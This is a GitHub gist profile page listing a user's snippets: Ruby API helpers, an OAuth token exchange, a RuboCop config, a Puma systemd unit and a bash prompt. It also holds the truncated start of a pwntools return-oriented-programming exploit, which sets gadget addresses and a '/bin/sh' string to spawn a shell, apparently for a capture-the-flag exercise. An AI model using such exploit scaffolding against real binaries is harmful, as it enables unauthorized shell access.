Skip to content

Instantly share code, notes, and snippets.

View roccogalluzzo's full-sized avatar
⛑️

Rocco Galluzzo roccogalluzzo

⛑️
View GitHub Profile
from pwn import *
context.arch = 'amd64'
offset = 120
system_call = p64(0x401040)
pop_r13 = p64(0x401206)
mov_rdi_rsp = p64(0x401152)
shell = '/bin/sh\x00'
empty =p64(0x00)
from pwn import *
context.arch = 'amd64'
offset = 120
system_call = p64(0x401040)
pop_r13 = p64(0x401206)
mov_rdi_rsp = p64(0x401152)
shell = '/bin/sh\x00'
empty =p64(0x00)

Keybase proof

I hereby claim:

  • I am byterussian on github.
  • I am galluzzo (https://keybase.io/galluzzo) on keybase.
  • I have a public key ASB3JaD_kgw0Y-_T6sqX_AhRhvxYPx9qw8x6rYOn2ym1JQo

To claim this, I am signing this object:

@roccogalluzzo
roccogalluzzo / .rubocop.yml
Last active June 23, 2017 14:52 — forked from joeyates/.rubocop.yml
Cantiere creativo Rubocop Configuration
require: rubocop-rspec
AllCops:
Include:
- "**/*.gemspec"
- "**/*.podspec"
- "**/*.jbuilder"
- "**/*.rake"
- "**/*.opal"
- "**/Gemfile"
[Unit]
Description=Puma application server
Wants=mysqld.service
After=network.target
[Service]
WorkingDirectory=/var/www/rails-app/current
Environment=RAILS_ENV=production
PIDFile=/var/www/shared/pids/puma.pid
@roccogalluzzo
roccogalluzzo / bashrc
Last active August 29, 2015 14:27 — forked from mislav/bashrc
Basic vimrc and tmux config for servers
export PS1="\[\033[38;5;9m\]\h\[$(tput sgr0)\]\[\033[38;5;7m\]@\[$(tput sgr0)\]\[\033[38;5;11m\]\u\[$(tput sgr0)\]\[\033[38;5;15m\] \[$(tput sgr0)\]\[\033[38;5;14m\]\w\[$(tput sgr0)\]\[\033[38;5;15m\]\n\\$ >\[$(tput sgr0)\]"
export EDITOR=vim
alias st='git status -sb'
# old
def get(path, opts={}, &block) # :nodoc:
request(:get, path, opts, &block)
end
def recipients(params = {})
@api.get("#{@api.path}/Message/#{@id}/List/Recipients", params: params)
end
def views(params = {})
# JSON
mailup = MailUp::API.new(credentials)
lists = mailup.console.user.lists
lists['Items'].first['Name']
# => "Test List"
list_id = lists['Items'].first['idList'].to_i
# => 1
list = mailup.console.list(list_id)
groups = list.groups(pageNumber: 1, pageSize: 25)
@roccogalluzzo
roccogalluzzo / 0_reuse_code.js
Last active August 29, 2015 14:07
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
body = {
grant_type: 'authorization_code',
client_id: Rails.application.secrets[provider]['client_id'],
client_secret: Rails.application.secrets[provider]['client_secret'],
redirect_uri: integration_callback_url(provider),
code: params[:code]
}.to_query
uri = URI.parse('https://api.createsend.com/oauth/token')
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true